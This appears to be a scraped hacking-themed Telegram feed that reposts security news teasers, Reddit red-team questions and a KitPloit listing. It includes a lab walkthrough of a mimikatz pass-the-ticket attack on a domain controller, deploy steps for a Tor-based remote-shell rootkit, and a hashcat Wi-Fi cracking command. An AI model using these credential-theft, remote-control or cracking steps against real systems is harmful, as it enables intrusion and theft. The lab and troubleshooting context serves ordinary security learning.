Hacking Articles Tips Tricks Videos Tutorials
467 subscribers
65.6K photos
15 videos
157 files
131K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Dark Reading: Attacks/Breaches
To Secure DevOps, Security Teams Must be Agile

The evolution of agile development and infrastructure-as-code has given security teams the tools they need to gain visibility, find vulnerabilities early, and continuously evaluate infrastructure.
Dark Reading: Attacks/Breaches
How InfoSec Should Use the Minimum Viable Secure Product Checklist

Google and Salesforce executives discuss the need for the newly released MVSP, how tech companies came together to work on it, and how organizations should use it.
A Konami Code for Vuln Chaining Combos

Automate finding relational vulnerabilities for a more accurate risk ratingContinue reading on Medium »
Read more...
A question about internal(network?) pentesting.
https://www.reddit.com/r/redteamsec/comments/qngvrk/a_question_about_internalnetwork_pentesting/

Hey everyone i wonder your thoughts about internal pentesting and platforms like hackthebox(not the prolabs, just the machines). First of all one might say that there isn't such a thing as internal pentesting, but what i mean is an assumed breach and assessment of the internal network. Is it possible to be not that good at htb and do an internal assessment? I dont like hacking the machines at htb, can only hack medium to hard boxes and during those times i mostly get bored after some time(not because machines are not challenging, quite the opposite, i get stuck). I am mostly interested in AD environment, coding injectors, c2 structures for easy tasks in different languages and analyze them in debuggers etc, in a home lab. For context: i dont work in IT, i am just a hobbiyst. Probably wont/can't switch to IT either. Just curious about your thoughts on platforms like htb. submitted by /u/throwforadvent (https://www.reddit.com/user/throwforadvent)
[link] (https://www.reddit.com/r/redteamsec/comments/qngvrk/a_question_about_internalnetwork_pentesting/) [comments] (https://www.reddit.com/r/redteamsec/comments/qngvrk/a_question_about_internalnetwork_pentesting/)

___________________________
@hacking_Attack
@Hacking_Video
Having issues performing PTT with Windows 2019DC using mimikatz
https://www.reddit.com/r/redteamsec/comments/qniix3/having_issues_performing_ptt_with_windows_2019dc/

Hello, So full disclaimer, I am DFIR guy with a little pentesting experience not a red teamer. Anyway I am trying to demo a PTT attack using mimikatz in a simple lab environment that consists of. DC1 - domain controller on windows server 2019 Win10-1 - Up to date windows 10 Win10-2 - Up to data windows 10 To demo I first logged into Win10-2 with the DA account, logged off and then logged on as a domain user with local admin rights to the box. Defender is disabled because I'm just trying to demo what PTT looks like. Anyway here is what happens When I first logon and do a klist everything looks normal. ``C:\Users\sylvester>klist Current LogonId is 0:0x604779 Cached Tickets: (2) #0> Client: sylvester @ LAZERKITTENS.LOCAL Server: krbtgt/LAZERKITTENS.LOCAL @ LAZERKITTENS.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 11/5/2021 11:10:00 (local) End Time: 11/5/2021 21:10:00 (local) Renew Time: 11/12/2021 11:10:00 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0x1 -> PRIMARY Kdc Called: DC1.LazerKittens.local #1> Client: sylvester @ LAZERKITTENS.LOCAL Server: LDAP/DC1.LazerKittens.local/LazerKittens.local @ LAZERKITTENS.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 11/5/2021 11:10:20 (local) End Time: 11/5/2021 21:10:00 (local) Renew Time: 11/12/2021 11:10:00 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: DC1.LazerKittens.local`` Then I go ahead and run mimikatz, get debug using privilege::debug and dump the tickets using sekurlsa::tickets /export mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::tickets /export ---snip After I export the tickets I loaded the administrator accounts TGT ticket into memory using kerberos::ptt mimikatz # kerberos::ptt [0;21701a]-2-0-40e10000-Administrator@krbtgt-LAZERKITTENS.LOCAL.kirbi (mailto:-2-0-40e10000-Administrator@krbtgt-LAZERKITTENS.LOCAL.kirbi) File: '[0;21701a]-2-0-40e10000-Administrator@krbtgt-LAZERKITTENS.LOCAL.kirbi (mailto:-2-0-40e10000-Administrator@krbtgt-LAZERKITTENS.LOCAL.kirbi)': OK ###### go in to a command prompt by typing misc::cmd and klist again. As expected the administrator ticket is now in my kerberos cache. C:\Users\sylvester\Desktop\mimikatz_trunk\x64>klist Current LogonId is 0:0x604756 Cached Tickets: (1) #0> Client: Administrator @ LAZERKITTENS.LOCAL Server: krbtgt/LAZERKITTENS.LOCAL @ LAZERKITTENS.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize Start Time: 11/5/2021 10:09:39 (local) End Time: 11/5/2021 20:09:39 (local) Renew Time: 11/12/2021 10:09:39 (local) Session Key Type: Kerberos DES-CBC-CRC Cache Flags: 0x1 -> PRIMARY Kdc Called: So at this point I'm thinking cool, all I need to do now is access my DC is type in dir \DC1\c$. However, when I attempt that I get the following error message. C:\Users\sylvester\Desktop\mimikatz_trunk\x64>dir \dc1\c$ The system cannot contact a domain controller to service the authentication request. Please try again later. If I do a klist purge and try to access the dc again I get the expected access is denied. Thanks in advance for your help! submitted by /u/Mufassa810 (https://www.reddit.com/user/Mufassa810)
[link] (https://www.reddit.com/r/redteamsec/comments/qniix3/having_issues_performing_ptt_with_windows_2019dc/) [comments] (https://www.reddit.com/r/redteamsec/comments/qniix3/having_issues_performing_ptt_with_windows_2019dc/)

___________________________
@hacking_Attack
@Hacking_Video
A Python 3 (https://www.kitploit.com/search/label/Python%203) standalone Windows 10 (https://www.kitploit.com/search/label/Windows%2010) / Linux Rootkit. The networking (https://www.kitploit.com/search/label/Networking) communication get's established over the tor network.
Disclaimer
Use for educational purposes only.
How to use
Clone the repo and change directory: git clone https://github.com/emcruise/TorRootkit.git
cd ./tor-rootkit Build docker container: docker build -t listener . Run docker container: docker run -v $(pwd)/executables:/executables/ -it listener Deploy the executables: When the listener is up and running it generates a "executables" directory containing different payloads for different plattforms. TorRootkit/
│ ...
└ executables/
Note: The client can take some time (20s-30s) to connect because PyInstaller executables are a bit slower and it need's to start tor.
Features
Standalone executables for Windows and Linux, including python interpreter and tor the whole communication works over tor hidden services (https://www.kitploit.com/search/label/Hidden%20Services) which guarantees some degree of anonymity The Listener (https://www.kitploit.com/search/label/Listener) can handle multiple clients The Listener generates payloads for different platforms on startup
Listener Shell Commands
Command Explanation help Shows the help menu ^C or exit Exits the shell list lists all connected clients with their according index select start shell with client
Client Shell Commands
Command Explanation help Shows the help menu ^C or exit Exits the client shell and returns to listener shell os Executes a command in the clients shell and returns the output background Keeps the connection to a client and returns to listener
Contribution
Any contributions are appreciated. Make a pull-requests and I'll merge if it passes my automatic tests.

Download Tor-Rootkit (https://github.com/emcruise/tor-rootkit)

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Hashcat issue

Hello everyone,

I have the necessary tools installed for my NVIDIA graphics card on Pop!OS to use hashcat, but I get the following error.

Note, I installed the tools (drivers) from the nvidia site, and hashcat is the newest version.

What is the problem?

truexfalse@pop-os:~$ hashcat -m 22000 '/home/truexfalse/Downloads/14640_1636113653.hc22000' '/home/truexfalse/Desktop/wordlists/kinitaCommon.txt'

hashcat (v6.1.1) starting...



* Device #1: This hardware has outdated CUDA compute capability (3.5).

For modern OpenCL performance, upgrade to hardware that supports

CUDA compute capability version 5.0 (Maxwell) or higher.

* Device #1: WARNING! Kernel exec timeout is not disabled.

This may cause "CL_OUT_OF_RESOURCES" or related errors.

To disable the timeout, see: https://hashcat.net/q/timeoutpatch

* Device #2: This hardware has outdated CUDA compute capability (3.5).

For modern OpenCL performance, upgrade to hardware that supports

CUDA compute capability version 5.0 (Maxwell) or higher.

* Device #2: WARNING! Kernel exec timeout is not disabled.

This may cause "CL_OUT_OF_RESOURCES" or related errors.

To disable the timeout, see: https://hashcat.net/q/timeoutpatch

nvmlDeviceGetCurrPcieLinkWidth(): Not Supported



nvmlDeviceGetClockInfo(): Not Supported



nvmlDeviceGetClockInfo(): Not Supported



nvmlDeviceGetTemperatureThreshold(): Not Supported



nvmlDeviceGetTemperatureThreshold(): Not Supported



nvmlDeviceGetUtilizationRates(): Not Supported



CUDA API (CUDA 11.4)



* Device #1: NVIDIA GeForce GT 710, 1847/2000 MB, 1MCU



OpenCL API (OpenCL 3.0 CUDA 11.4.153) - Platform #1 [NVIDIA Corporation]



* Device #2: NVIDIA GeForce GT 710, skipped



Minimum password length supported by kernel: 8

Maximum password length supported by kernel: 63



Hashes: 2 digests; 2 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1



Applicable optimizers applied:

* Zero-Byte

* Single-Salt

* Slow-Hash-SIMD-LOOP



Watchdog: Temperature abort trigger set to 90c



cuLinkAddData(): the provided PTX was compiled with an unsupported toolchain.



* Device #1: Kernel /usr/share/hashcat/OpenCL/shared.cl link failed. Error Log:



ptxas application ptx input, line 9; fatal : Unsupported .version 7.5; current version is '7.4'







* Device #1: Kernel /usr/share/hashcat/OpenCL/shared.cl build failed.



Started: Fri Nov 5 23:24:46 2021

Stopped: Fri Nov 5 23:24:50 2021

submitted by /u/truexfalse
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video